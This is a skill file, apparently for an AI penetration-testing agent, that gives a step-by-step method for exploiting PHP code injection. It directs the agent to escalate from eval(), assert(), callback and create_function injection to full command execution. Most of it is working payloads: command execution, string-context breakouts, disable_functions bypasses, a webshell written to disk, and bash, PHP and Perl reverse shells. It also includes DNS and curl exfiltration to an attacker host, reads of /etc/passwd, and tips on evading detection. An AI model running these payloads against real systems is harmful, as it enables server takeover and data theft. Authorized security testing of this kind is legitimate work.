php-code-injection

name	php-code-injection
description	Exploit PHP code evaluation injection via eval(), assert(), preg_replace /e, create_function(), call_user_func(), usort() callbacks, and runtime function creation (runkit, uopz). Distinct from OS command injection (shell operators) and SSTI (template engines) — this targets direct PHP code evaluation of user input.
keywords	["php eval injection","eval() exploit","assert() injection","php code injection","create_function exploit","preg_replace /e modifier","call_user_func injection","usort callback injection","runkit_function_add","uopz_set_return","php sandbox escape","php RCE","php expression injection"]
tools	["burpsuite","curl"]
opsec	medium

PHP Code Injection

You are helping a penetration tester exploit PHP code injection where user input is passed to a PHP code evaluation function. The goal is to execute arbitrary PHP code and escalate to OS command execution. All testing is under explicit written authorization.

This is NOT OS command injection. Shell operators (;, |, &&) do not work because the injection context is a PHP interpreter, not a shell. You must write valid PHP expressions or statements.

This is NOT SSTI. If {{7*7}} or ${7*7} returns 49, route to the appropriate SSTI skill. If bare PHP code like phpinfo() or 1+1 evaluates, you're in the right place.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [php-code-injection] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames.

Scope Boundary

This skill covers PHP code injection — from confirming the injection through achieving OS command execution. When you reach the boundary of this scope — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

Bail out on unmet preconditions. If the Prerequisites for this skill are not met (e.g., user input never reaches a code evaluation function), report a negative finding and return immediately. Do not pivot to unrelated attack vectors.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A parameter that gets passed to a PHP code evaluation function
• Common vulnerable patterns: dynamic callbacks, rule engines, plugin systems, sort comparators, regex with /e modifier, configuration evaluators
• Knowledge of the injection context (eval string, callback name, function body)

Step 1: Assess

If not already provided, determine:

1. Evaluation function — which PHP function evaluates user input?
2. Injection context — is input the entire expression, a callback name, a function body, or embedded in a string?
3. Visible or blind — is output reflected, or side-channel only?
4. Sanitization — are dangerous functions disabled (disable_functions)?

Vulnerable Functions Reference

Function	Input Type	Context
eval($code)	PHP statements	Full code execution
assert($expr) (PHP < 8.0)	PHP expression string	Single expression
preg_replace('/.*/e', $code, ...)	PHP expression	Deprecated, removed in 7.0
create_function('$args', $body)	PHP statements	Function body (deprecated 7.2, removed 8.0)
call_user_func($callback, ...)	Callable name	Controls which function is called
usort($arr, $callback)	Callable name	Comparison callback
array_map($callback, $arr)	Callable name	Applied to each element
array_filter($arr, $callback)	Callable name	Filter predicate
runkit_function_add($name, $args, $body)	PHP statements	Creates new function at runtime
uopz_set_return($func, $value)	Mixed	Overrides function return values

Skip assessment if context was already provided.

Step 2: Confirm Injection

Quick Confirmation Probes

// Arithmetic (most universal)
1+1
7*7

// PHP functions
phpversion()
php_uname()
str_repeat('A',3)

// Time-based (blind)
sleep(5)
usleep(5000000)

Expected responses for confirmation:

• 1+1 → 2 (not literal)
• phpversion() → version string like 8.1.2
• sleep(5) → 5-second delay

Disambiguate from SSTI

If phpinfo() works but {{7*7}} also returns 49, you may be in a Twig/ Blade template context — route to the SSTI skill instead.

Error-Based Confirmation

Inject invalid PHP to trigger errors:

<?php
)
function

PHP errors (Parse error, Fatal error, Warning) in the response confirm PHP code evaluation. The error may reveal file paths and the evaluation function.

Step 3: Exploitation by Context

Context A: eval() / assert() — Full Expression

Input is evaluated directly as PHP code:

// OS command execution
system('id')
passthru('id')
shell_exec('id')
exec('id',$o);implode("\n",$o)
popen('id','r')->fread(4096)
`id`  // backtick operator

// File read
file_get_contents('/etc/passwd')
readfile('/etc/passwd')

// Reverse shell
system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

If inside a string context, break out first:

// Application: eval("return '$INPUT';")
test'.system('id').'
test';system('id');//

Context B: Callback Injection (call_user_func / usort / array_map)

User input controls which function is called:

// If the app does: call_user_func($user_input, $arg)
// Set $user_input to:
system        // call_user_func('system', $arg) — $arg becomes the command
passthru      // same pattern
exec          // same pattern

// If you control both callback and argument:
call_user_func('system', 'id')

For usort($arr, $callback) — the callback receives two array elements as arguments. If you control array contents AND the callback name:

// Populate array with ['id',''] then set callback to 'system'
// usort calls system('id', '') — second arg ignored

Context C: Function Body Injection

User input becomes the body of a dynamically created function (e.g., create_function(), runkit_function_add(), or similar runtime function creation):

// Application: create_function('$a,$b', $user_input)
// Or: runkit_function_add('func', '$a,$b', $user_input)

// Inject — close the intended body, add your code:
return 1;}system('id');//
return 1;}passthru('id');exit;//

// If the body is used as a rule/predicate that must return a value:
system('id');return true;

The function body is compiled when created but executed when the function is called. Identify what triggers the function call (e.g., a form submission, a scheduled event, an API endpoint) and trigger it after injecting the body.

Context D: preg_replace /e (Legacy PHP < 7.0)

// Application: preg_replace('/pattern/e', $user_input, $subject)
// The replacement is evaluated as PHP code for each match

// Payload in replacement:
system('id')
file_get_contents('/etc/passwd')

Step 4: disable_functions Bypass

When system(), exec(), passthru(), shell_exec(), popen(), proc_open() are in disable_functions:

// Check what's disabled
ini_get('disable_functions')

// Alternative execution functions (often not disabled):
pcntl_exec('/bin/bash', ['-c', 'id > /tmp/out'])
mail('', '', '', '', '-X/tmp/out -OQueueDirectory=/tmp -OLogLevel=0')

// File operations (usually not disabled):
file_get_contents('/etc/passwd')
file_put_contents('/tmp/shell.php', '<?php system($_GET["c"]); ?>')
scandir('/')
glob('/home/*')

// If open_basedir is set, check its value:
ini_get('open_basedir')

If disable_functions blocks all execution functions, report the list of disabled functions and open_basedir value. The orchestrator may route to a sandbox escape approach (php.ini overwrite, LD_PRELOAD, FFI, iconv tricks).

Step 5: Reverse Shell Payloads

// Bash reverse shell
system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

// PHP native reverse shell (no system() needed — bypasses disable_functions
// if fsockopen is available)
$s=fsockopen('ATTACKER',PORT);$p=proc_open('/bin/sh',array(0=>$s,1=>$s,2=>$s),$pipes);

// Perl reverse shell (if perl is installed and system() available)
system('perl -e \'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'')

Blind Injection (No Output Reflected)

// Time-based confirmation
sleep(5)

// DNS exfiltration
system('host $(whoami).ATTACKER.com')

// HTTP exfiltration
system('curl http://ATTACKER:PORT/$(whoami)')

// Write to webroot (retrieve via browser)
file_put_contents('/var/www/html/proof.txt', shell_exec('id'))

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)
• If disable_functions blocks execution: the full list + open_basedir value

OPSEC Notes

• PHP code injection generates errors visible in application error logs
• system()/exec() create child processes visible in ps
• file_get_contents() for file reads creates no child processes — lower detection than system('cat ...')
• Reverse shells generate network connections logged by netflow/EDR
• eval() calls appear in PHP error stack traces

Troubleshooting

Payload Returns Empty

• Check if output buffering swallows the result. Try ob_end_flush() first
• exec() only returns the last line — use system() or passthru() instead
• If inside eval(), the return value may not be echoed — try echo system('id')

Parse Error in Response

• Check quoting context — are you inside single quotes, double quotes, heredoc?
• Count semicolons and braces — function body injection needs proper closure
• PHP < 7 vs 8 differences: assert() no longer evaluates strings in PHP 8.0+

All Execution Functions Disabled

• Check ini_get('disable_functions') for the exact list
• Try proc_open(), pcntl_exec(), popen() — often missed in blocklists
• Use file operations (file_get_contents, file_put_contents) to read configs and plant webshells
• Report to orchestrator for sandbox escape routing